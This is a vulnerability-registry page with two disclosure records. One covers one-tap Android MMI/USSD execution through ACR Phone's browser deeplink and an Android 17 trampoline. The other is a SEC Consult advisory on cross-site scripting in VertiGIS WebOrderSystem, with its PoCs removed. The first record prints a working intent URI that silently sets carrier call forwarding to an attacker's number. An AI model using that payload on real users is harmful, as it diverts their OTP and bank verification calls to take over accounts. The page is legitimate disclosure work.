- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
581 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0452
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
1-click MMI/USSD execution in Android via CALL_PHONE and browser-reachable dialer deeplinks (ACR Phone / com.nll.cb)
Summary
Android's CALL_PHONE permission, shown to users as "make and manage phone
calls", also authorises execution of carrier MMI/USSD codes against the SIM.
The permission text does not mention this, no confirmation is shown before
execution -- a transient "USSD code running" dialog appears only afterwards
--
and MMI execution writes no call log entry. Where a CALL_PHONE-holding app
also
exposes a browser-reachable deeplink into an auto-dial path, the capability
becomes remotely triggerable with a single tap.
Demonstrated against ACR Phone / Cube ACR (com.nll.cb, 5M+ installs), which
declares an intent filter carrying action CALL_BUTTON, category BROWSABLE
and a
tel: scheme, resolving to an activity that dials rather than pre-fills.
Chrome's
intent: URI syntax lets a page nominate an arbitrary action, and Chrome's
only
check is that the resolved filter declares BROWSABLE, so the string executes
under ACR's own CALL_PHONE grant rather than any grant held by the browser.
No
chooser appears (ACR is the sole handler) and no confirmation is requested.
The
terminating hash must be percent-encoded as %23 -- a literal # parses, but
is
lost further down the dial path, and the remainder is placed as an ordinary
call.
intent:*21*5550000000%23#Intent;scheme=tel;action=android.intent.action.CALL_BUTTON;end
One tap registers unconditional call forwarding to the attacker's number.
Incoming calls -- including voice-delivered OTPs and bank verification
callbacks
-- are then delivered to the attacker. Registration is held in the carrier
network rather than on the handset, so it survives reboot, uninstalling the
app
and a factory reset, and persists until cancelled. Clear with ##21#,
interrogate
with *#21#. Both *21*<n>%23 and **21*<n>%23 register.
Preconditions for the demonstration: ACR must hold CALL_PHONE and the DIALER
role. Both are the ordinary state for a dialer replacement, but neither is
automatic. The role matters twice over -- ACR's own DialerActivity.a0()
redirects to setup without it, and Android 14 added a platform check that
refuses dangerous MMI codes from a non-default dialer, which ACR being the
default dialer satisfies. Of 88 call, dialer and VoIP apps scanned at the
manifest level, 66 declared CALL_PHONE and 54 exposed some browser-reachable
dial surface; most pre-fill rather than dial, so whether any given one is
exploitable turns on its own deeplink handling, while the platform grants
the
underlying capability to all of them uniformly.
A related Android 17 change removes the need for a vulnerable third-party
app
altogether. Telecom moved into the com.android.telephonycore mainline
module and
its UI into a separate privileged application; com.android.server.telecom
is now
a shim whose UserCallActivity re-starts the intent against
com.google.android.telecomui, which calls TelecomManager.placeCall() as
itself.
The launching package is not carried across. placeCall() binds the caller
to the
binder UID, and telecomui holds CALL_PRIVILEGED, so the dangerous-MMI check
--
which still runs on every call -- is evaluated against telecomui and
passes. A
plain **21*<number># sent via ACTION_CALL by an app holding only CALL_PHONE,
with no dialer role, is therefore dispatched as an MMI code. Reported
separately; confirmed on an emulator only.
Tested on: Samsung Galaxy M16 5G, Android 16 (One UI 8.5), build
BP4A.251205.006.M166PXXS7DZG1, security patch level 5 July 2026, against a
live
Airtel India network (single-asterisk form). Reproduced on Android 14 (API
34)
and Android 17 (API 37, patch 2026-07-05) emulators, double-asterisk form
against the simulated network.
Vendor status: Google closed the platform report as Won't Fix (Infeasible),
assessing it as insecure deeplink handling in third-party dialers rather
than an
Android vulnerability. The Android 17 trampoline report was closed as a
duplicate of an earlier internal report. The ACR Phone developer responded
within 48 minutes and committed a fix to the next release; the Play release
is
pending Google's review.
Timeline:
12 Sep 2026 - Reported to the Android & Google Devices VRP
14 Sep 2026 - Android 17 retest added; TelecomUi trampoline reported
separately
17 Sep 2026 - Platform report closed Won't Fix (Infeasible)
24 Sep 2026 - Trampoline report closed as duplicate of an internal Google
report
25 Sep 2026 - Request to be added to that report declined
09 Oct 2026 - Reported to the ACR Phone developer; acknowledged, fix
committed
09 Oct 2026 - Public disclosure
Full write-up:
https://karansaini.com/mmi-android/
Sincerely,
Karan Saini
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Oct/10 | technical-description |
| https://karansaini.com/mmi-android/ | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | 1-click MMI/USSD execution |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "1-click MMI/USSD execution",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Karan Saini"
}
],
"descriptions": [
{
"lang": "en",
"value": "Android\u0027s CALL_PHONE permission, shown to users as \"make and manage phone\ncalls\", also authorises execution of carrier MMI/USSD codes against the SIM.\nThe permission text does not mention this, no confirmation is shown before\nexecution -- a transient \"USSD code running\" dialog appears only afterwards\n--\nand MMI execution writes no call log entry. Where a CALL_PHONE-holding app\nalso\nexposes a browser-reachable deeplink into an auto-dial path, the capability\nbecomes remotely triggerable with a single tap.\n\nDemonstrated against ACR Phone / Cube ACR (com.nll.cb, 5M+ installs), which\ndeclares an intent filter carrying action CALL_BUTTON, category BROWSABLE\nand a\ntel: scheme, resolving to an activity that dials rather than pre-fills.\nChrome\u0027s\nintent: URI syntax lets a page nominate an arbitrary action, and Chrome\u0027s\nonly\ncheck is that the resolved filter declares BROWSABLE, so the string executes\nunder ACR\u0027s own CALL_PHONE grant rather than any grant held by the browser.\nNo\nchooser appears (ACR is the sole handler) and no confirmation is requested.\nThe\nterminating hash must be percent-encoded as %23 -- a literal # parses, but\nis\nlost further down the dial path, and the remainder is placed as an ordinary\ncall.\n\n\nintent:*21*5550000000%23#Intent;scheme=tel;action=android.intent.action.CALL_BUTTON;end\n\nOne tap registers unconditional call forwarding to the attacker\u0027s number.\nIncoming calls -- including voice-delivered OTPs and bank verification\ncallbacks\n-- are then delivered to the attacker. Registration is held in the carrier\nnetwork rather than on the handset, so it survives reboot, uninstalling the\napp\nand a factory reset, and persists until cancelled. Clear with ##21#,\ninterrogate\nwith *#21#. Both *21*\u003cn\u003e%23 and **21*\u003cn\u003e%23 register.\n\nPreconditions for the demonstration: ACR must hold CALL_PHONE and the DIALER\nrole. Both are the ordinary state for a dialer replacement, but neither is\nautomatic. The role matters twice over -- ACR\u0027s own DialerActivity.a0()\nredirects to setup without it, and Android 14 added a platform check that\nrefuses dangerous MMI codes from a non-default dialer, which ACR being the\ndefault dialer satisfies. Of 88 call, dialer and VoIP apps scanned at the\nmanifest level, 66 declared CALL_PHONE and 54 exposed some browser-reachable\ndial surface; most pre-fill rather than dial, so whether any given one is\nexploitable turns on its own deeplink handling, while the platform grants\nthe\nunderlying capability to all of them uniformly.\n\nA related Android 17 change removes the need for a vulnerable third-party\napp\naltogether. Telecom moved into the com.android.telephonycore mainline\nmodule and\nits UI into a separate privileged application; com.android.server.telecom\nis now\na shim whose UserCallActivity re-starts the intent against\ncom.google.android.telecomui, which calls TelecomManager.placeCall() as\nitself.\nThe launching package is not carried across. placeCall() binds the caller\nto the\nbinder UID, and telecomui holds CALL_PRIVILEGED, so the dangerous-MMI check\n--\nwhich still runs on every call -- is evaluated against telecomui and\npasses. A\nplain **21*\u003cnumber\u003e# sent via ACTION_CALL by an app holding only CALL_PHONE,\nwith no dialer role, is therefore dispatched as an MMI code. Reported\nseparately; confirmed on an emulator only.\n\nTested on: Samsung Galaxy M16 5G, Android 16 (One UI 8.5), build\nBP4A.251205.006.M166PXXS7DZG1, security patch level 5 July 2026, against a\nlive\nAirtel India network (single-asterisk form). Reproduced on Android 14 (API\n34)\nand Android 17 (API 37, patch 2026-07-05) emulators, double-asterisk form\nagainst the simulated network.\n\nVendor status: Google closed the platform report as Won\u0027t Fix (Infeasible),\nassessing it as insecure deeplink handling in third-party dialers rather\nthan an\nAndroid vulnerability. The Android 17 trampoline report was closed as a\nduplicate of an earlier internal report. The ACR Phone developer responded\nwithin 48 minutes and committed a fix to the next release; the Play release\nis\npending Google\u0027s review.\n\nTimeline:\n12 Sep 2026 - Reported to the Android \u0026 Google Devices VRP\n14 Sep 2026 - Android 17 retest added; TelecomUi trampoline reported\nseparately\n17 Sep 2026 - Platform report closed Won\u0027t Fix (Infeasible)\n24 Sep 2026 - Trampoline report closed as duplicate of an internal Google\nreport\n25 Sep 2026 - Request to be added to that report declined\n09 Oct 2026 - Reported to the ACR Phone developer; acknowledged, fix\ncommitted\n09 Oct 2026 - Public disclosure\n\nFull write-up:\nhttps://karansaini.com/mmi-android/\n\nSincerely,\nKaran Saini\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/10"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/10"
},
{
"url": "https://karansaini.com/mmi-android/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/10"
],
"discovery": "EXTERNAL"
},
"title": "1-click MMI/USSD execution in Android via CALL_PHONE and browser-reachable dialer deeplinks (ACR Phone / com.nll.cb)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0452",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/10",
"automated": true,
"contentSha256": "7905b14f2c2ebb2c733f5c861e02cb12c288342415a330b309220de58b08ea92",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/10",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-09T16:21:37Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:55Z",
"dateUpdated": "2026-11-02T07:29:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0452"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0451
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
SEC Consult SA-20261023-0 :: Multiple Cross-Site Scripting Vulnerabilities in VertiGIS WebOrderSystem
Summary
SEC Consult Vulnerability Lab Security Advisory < 20261023-0 >
=======================================================================
title: Multiple Cross-Site Scripting Vulnerabilities
product: VertiGIS WebOrderSystem (KundenManager, AuftragsManager)
vulnerable version: <=7.0.8.6
fixed version: unknown
CVE number: CVE-2026-4950, CVE-2026-4951, CVE-2026-4952
impact: medium/high
homepage:https://www.vertigis.com/
found: 2025-01-14
by: Kai Zimmermann (Office Frankfurt)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"VertiGIS creates industry-leading technology that advances spatial visibility
into assets – across industries and across the globe. Our intuitive range of
use-case-based tools can help you solve complex business challenges, leverage
spatial data in new ways and build solutions that make a difference."
Source:https://www.vertigis.com/
Business recommendation:
------------------------
The vendor did not communicate a patch for the identified vulnerabilities in
VertiGIS "WebOrderSystem" and told us that "LM Explorer" will incorporate the
fixes. Version numbers were not provided nor when the fixes were implemented.
A workaround exists for CVE-2026-4952, which should be applied while no
official fix is available. Contact the vendor fur further information
regarding fixes or hardening measures.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Stored Cross-Site Scripting in VertiGIS CustomerAdministration Portal (CVE-2026-4950)
The VertiGIS CustomerAdministration portal (KundenManager) allows privileged
users to manage the employees (users) of defined companies (user groups). An
authenticated attacker with access to the CustomerAdministration portal can
insert malicious JavaScript code in a user's properties while editing the user.
The inserted code will be executed if other privileged users visit either the
user entry directly or the user overview of the specific user group.
2) Reflected Cross-Site Scripting in VertiGIS CustomerAdministration Portal (CVE-2026-4951)
The VertiGIS CustomerAdministration portal (KundenManager) allows privileged
users to search for employees (users) across all defined companies (user groups).
The search parameter "searchValue" can be embedded in the URL, so that if a
privileged user that is currently logged into the CustomerAdministration portal
visits that URL, the search will be performed. An unauthenticated attacker with
knowledge about the URL structure can craft a URL containing malicious
JavaScript code in the "searchValue" parameter. The inserted code will be
executed if the target privileged user visits the crafted URL while already
being logged into the CustomerAdministration portal.
3) Stored Cross-Site Scripting in VertiGIS OrderAdministration Portal (CVE-2026-4952)
The VertiGIS "ASMobile" web interface, which is part of the software package
"GIS Portal", allows authenticated users to define a business reference. An
attacker can insert malicious JavaScript code inside the business reference.
Initially this issue affects the "ASMobile" web interface as what is considered
a "self-xss". However, when placing orders through the web interface, the malicious
business reference will be included in the order details and will later be shown
in the OrderAdministration portal (AuftragsManager). The inserted JavaScript code
will be executed if a high privileged user with access to the OrderAdministration
portal visits the order that contains the attacker's malicious business reference.
Proof of concept:
-----------------
1) Stored Cross-Site Scripting in VertiGIS CustomerAdministration Portal (CVE-2026-4950)
When editing an existing user of a user group through the CustomerAdministration
portal, the following request, including malicious JavaScript code in the
"secondName" parameter, can be sent when saving the changes:
--------------------------------------------------------------------------------
[ PoC removed ]
--------------------------------------------------------------------------------
After saving the changes, the JavaScript code will be executed immediately after
the editing page, as can be seen in figure 1 below:
[01_stored_xss_01.png]
Figure 2 below shows that the JavaScript code will also be executed when a user
visits the user overview of the edited user's user group:
[02_stored_xss_02.png]
2) Reflected Cross-Site Scripting in VertiGIS CustomerAdministration Portal (CVE-2026-4951)
An unauthenticated attacker with knowledge about the CustomerAdministration portal's
URL structure can craft the following URL, which contains malicious JavaScript code
in the "searchValue" parameter:
--------------------------------------------------------------------------------
[ PoC removed ]
--------------------------------------------------------------------------------
When a privileged user, who is currently logged into the CustomerAdministration
portal, visits the crafted URL, the included JavaScript code will be executed, as
can be seen in figure 3 below:
[03_reflected_xss.png]
Potential further impacts may arise from the fact that administrative users can
change other user's (including other administrators) passwords without specifying
the old password. An attacker may be able to craft a URL loading a remote script
that performs a password reset, allowing to either take over specific accounts
or lock out other users entirely from the application.
3) Stored Cross-Site Scripting in VertiGIS OrderAdministration Portal (CVE-2026-4952)
product of "3A Web").
2025-02-19: Clarifying the opinion regarding the criticality of the instances to the
vendor and asking for an estimated timeline regarding the hardening
of the KundenManager.
2025-02-24: Vendor gives further insights and opinion on the instances.
2025-02-26: Adding a new vulnerability to this advisory, which was previously
considered a "self-XSS" but confirmed by the vendor to be exploitable in
another component.
Asking vendor to confirm the names of the affected software components.
Also asking for a timeline for when all instances are planned to be
remediated.
Vendor confirms that both, the KundenManager und AuftragsManager, are part
of the WebOrderSystem installation.
Vendor cannot give an estimated timeline yet, on when the instances will
be remediated.
2025-02-28: Asking vendor to confirm existing contact for sending updated
security advisory.
2025-03-12: Vendor confirms existing communication channel.
Sending updated security advisory.
2025-05-21: Asking for a status update.
2025-05-22: Vendor still can not provide an estimated timeline for remediation.
The instances are planned to be addressed with the release of "LM Explorer".
2026-03-26: Asking for a status update.
2026-03-27: Reserving CVEs.
2026-04-13: Vendor provides general security announcement links for "3A" and "VertiGIS LM"
that do not include information on any of the vulnerabilities from this advisory.
Asking vendor to explain the relationship between the "WebOrderSystem" component
and "3A Web" and if this component is relevant in "LM Explorer" at all, as there
are no separate announcements for "WebOrderSystem".
No response.
2026-10-15: Informing vendor that our advisory will be published the following week;
No response
2026-10-23: Release of security advisory.
Solution:
---------
The vendor did not communicate a patch for the identified vulnerabilities in
VertiGIS "WebOrderSystem" and told us that "LM Explorer" will incorporate the
fixes. Version numbers were not provided nor when the fixes were implemented.
Contact the vendor fur further information regarding fixes or hardending
measures.
Furthermore, the vendor recommends following their product announcements:
https://support.vertigis.com/hc/de/sections/4403356759570-Ank%C3%BCndigungen
https://support.vertigis.com/hc/de/sections/23916902893458-Ank%C3%BCndigungen
https://support.vertigis.com/hc/de/sections/26551407185810-Ank%C3%BCndigungen
Workaround:
-----------
- CVE-2026-4950: None
- CVE-2026-4951: None
- CVE-2026-4952: In the current version (as of 2025-02-24) it is already possible to
define an optional regular expression for the business reference. This
can also act as an input validation for Cross-Site Scripting.
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Kai Zimmermann / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Vertigis | WebOrderSystem (KundenManager, AuftragsManager) |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0451 (this record)
- related CVE-2026-4950
- related CVE-2026-4951
- related CVE-2026-4952
{
"containers": {
"cna": {
"affected": [
{
"product": "WebOrderSystem (KundenManager, AuftragsManager)",
"vendor": "Vertigis",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20261023-0 \u003e\n=======================================================================\n title: Multiple Cross-Site Scripting Vulnerabilities\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 product: VertiGIS WebOrderSystem (KundenManager, AuftragsManager)\n vulnerable version: \u003c=7.0.8.6\n \u00a0\u00a0 \u00a0 fixed version: unknown\n CVE number: CVE-2026-4950, CVE-2026-4951, CVE-2026-4952\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium/high\n homepage:https://www.vertigis.com/\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-01-14\n by: Kai Zimmermann (Office Frankfurt)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"VertiGIS creates industry-leading technology that advances spatial visibility\ninto assets \u2013 across industries and across the globe. Our intuitive range of\nuse-case-based tools can help you solve complex business challenges, leverage\nspatial data in new ways and build solutions that make a difference.\"\n\nSource:https://www.vertigis.com/\n\n\nBusiness recommendation:\n------------------------\nThe vendor did not communicate a patch for the identified vulnerabilities in\nVertiGIS \"WebOrderSystem\" and told us that \"LM Explorer\" will incorporate the\nfixes. Version numbers were not provided nor when the fixes were implemented.\n\nA workaround exists for CVE-2026-4952, which should be applied while no\nofficial fix is available. Contact the vendor fur further information\nregarding fixes or hardening measures.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Stored Cross-Site Scripting in VertiGIS CustomerAdministration Portal (CVE-2026-4950)\nThe VertiGIS CustomerAdministration portal (KundenManager) allows privileged\nusers to manage the employees (users) of defined companies (user groups). An\nauthenticated attacker with access to the CustomerAdministration portal can\ninsert malicious JavaScript code in a user\u0027s properties while editing the user.\nThe inserted code will be executed if other privileged users visit either the\nuser entry directly or the user overview of the specific user group.\n\n2) Reflected Cross-Site Scripting in VertiGIS CustomerAdministration Portal (CVE-2026-4951)\nThe VertiGIS CustomerAdministration portal (KundenManager) allows privileged\nusers to search for employees (users) across all defined companies (user groups).\nThe search parameter \"searchValue\" can be embedded in the URL, so that if a\nprivileged user that is currently logged into the CustomerAdministration portal\nvisits that URL, the search will be performed. An unauthenticated attacker with\nknowledge about the URL structure can craft a URL containing malicious\nJavaScript code in the \"searchValue\" parameter. The inserted code will be\nexecuted if the target privileged user visits the crafted URL while already\nbeing logged into the CustomerAdministration portal.\n\n3) Stored Cross-Site Scripting in VertiGIS OrderAdministration Portal (CVE-2026-4952)\nThe VertiGIS \"ASMobile\" web interface, which is part of the software package\n\"GIS Portal\", allows authenticated users to define a business reference. An\nattacker can insert malicious JavaScript code inside the business reference.\nInitially this issue affects the \"ASMobile\" web interface as what is considered\na \"self-xss\". However, when placing orders through the web interface, the malicious\nbusiness reference will be included in the order details and will later be shown\nin the OrderAdministration portal (AuftragsManager). The inserted JavaScript code\nwill be executed if a high privileged user with access to the OrderAdministration\nportal visits the order that contains the attacker\u0027s malicious business reference.\n\n\nProof of concept:\n-----------------\n1) Stored Cross-Site Scripting in VertiGIS CustomerAdministration Portal (CVE-2026-4950)\nWhen editing an existing user of a user group through the CustomerAdministration\nportal, the following request, including malicious JavaScript code in the\n\"secondName\" parameter, can be sent when saving the changes:\n\n--------------------------------------------------------------------------------\n[ PoC removed ]\n--------------------------------------------------------------------------------\n\nAfter saving the changes, the JavaScript code will be executed immediately after\nthe editing page, as can be seen in figure 1 below:\n\n[01_stored_xss_01.png]\n\nFigure 2 below shows that the JavaScript code will also be executed when a user\nvisits the user overview of the edited user\u0027s user group:\n\n[02_stored_xss_02.png]\n\n\n2) Reflected Cross-Site Scripting in VertiGIS CustomerAdministration Portal (CVE-2026-4951)\nAn unauthenticated attacker with knowledge about the CustomerAdministration portal\u0027s\nURL structure can craft the following URL, which contains malicious JavaScript code\nin the \"searchValue\" parameter:\n\n--------------------------------------------------------------------------------\n[ PoC removed ]\n--------------------------------------------------------------------------------\n\nWhen a privileged user, who is currently logged into the CustomerAdministration\nportal, visits the crafted URL, the included JavaScript code will be executed, as\ncan be seen in figure 3 below:\n\n[03_reflected_xss.png]\n\nPotential further impacts may arise from the fact that administrative users can\nchange other user\u0027s (including other administrators) passwords without specifying\nthe old password. An attacker may be able to craft a URL loading a remote script\nthat performs a password reset, allowing to either take over specific accounts\nor lock out other users entirely from the application.\n\n\n3) Stored Cross-Site Scripting in VertiGIS OrderAdministration Portal (CVE-2026-4952)\n\n product of \"3A Web\").\n2025-02-19: Clarifying the opinion regarding the criticality of the instances to the\n vendor and asking for an estimated timeline regarding the hardening\n of the KundenManager.\n2025-02-24: Vendor gives further insights and opinion on the instances.\n2025-02-26: Adding a new vulnerability to this advisory, which was previously\n considered a \"self-XSS\" but confirmed by the vendor to be exploitable in\n another component.\n Asking vendor to confirm the names of the affected software components.\n Also asking for a timeline for when all instances are planned to be\n remediated.\n Vendor confirms that both, the KundenManager und AuftragsManager, are part\n of the WebOrderSystem installation.\n Vendor cannot give an estimated timeline yet, on when the instances will\n be remediated.\n2025-02-28: Asking vendor to confirm existing contact for sending updated\n security advisory.\n2025-03-12: Vendor confirms existing communication channel.\n Sending updated security advisory.\n2025-05-21: Asking for a status update.\n2025-05-22: Vendor still can not provide an estimated timeline for remediation.\n The instances are planned to be addressed with the release of \"LM Explorer\".\n2026-03-26: Asking for a status update.\n2026-03-27: Reserving CVEs.\n2026-04-13: Vendor provides general security announcement links for \"3A\" and \"VertiGIS LM\"\n that do not include information on any of the vulnerabilities from this advisory.\n Asking vendor to explain the relationship between the \"WebOrderSystem\" component\n and \"3A Web\" and if this component is relevant in \"LM Explorer\" at all, as there\n are no separate announcements for \"WebOrderSystem\".\n No response.\n2026-10-15: Informing vendor that our advisory will be published the following week;\n No response\n2026-10-23: Release of security advisory.\n\n\nSolution:\n---------\nThe vendor did not communicate a patch for the identified vulnerabilities in\nVertiGIS \"WebOrderSystem\" and told us that \"LM Explorer\" will incorporate the\nfixes. Version numbers were not provided nor when the fixes were implemented.\nContact the vendor fur further information regarding fixes or hardending\nmeasures.\n\nFurthermore, the vendor recommends following their product announcements:\nhttps://support.vertigis.com/hc/de/sections/4403356759570-Ank%C3%BCndigungen\nhttps://support.vertigis.com/hc/de/sections/23916902893458-Ank%C3%BCndigungen\nhttps://support.vertigis.com/hc/de/sections/26551407185810-Ank%C3%BCndigungen\n\n\nWorkaround:\n-----------\n- CVE-2026-4950: None\n- CVE-2026-4951: None\n- CVE-2026-4952: In the current version (as of 2025-02-24) it is already possible to\n define an optional regular expression for the business reference. This\n can also act as an input validation for Cross-Site Scripting.\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Kai Zimmermann / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/37"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/37"
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://support.vertigis.com/hc/de/sections/23916902893458-Ank%C3%BCndigungen"
},
{
"url": "https://support.vertigis.com/hc/de/sections/26551407185810-Ank%C3%BCndigungen"
},
{
"url": "https://support.vertigis.com/hc/de/sections/4403356759570-Ank%C3%BCndigungen"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://www.vertigis.com/"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/37"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20261023-0 :: Multiple Cross-Site Scripting Vulnerabilities in VertiGIS WebOrderSystem",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-4950",
"type": "related"
},
{
"destId": "CVE-2026-4951",
"type": "related"
},
{
"destId": "CVE-2026-4952",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0451",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/37",
"automated": true,
"contentSha256": "d1989156d57984ec807253053a827780d76985ac4e22fb0bb8ce928f829e91a0",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/37",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-23T06:29:26Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0451"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:55Z",
"dateUpdated": "2026-11-02T07:29:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0451"
},
"dataType": "CVE_RECORD",
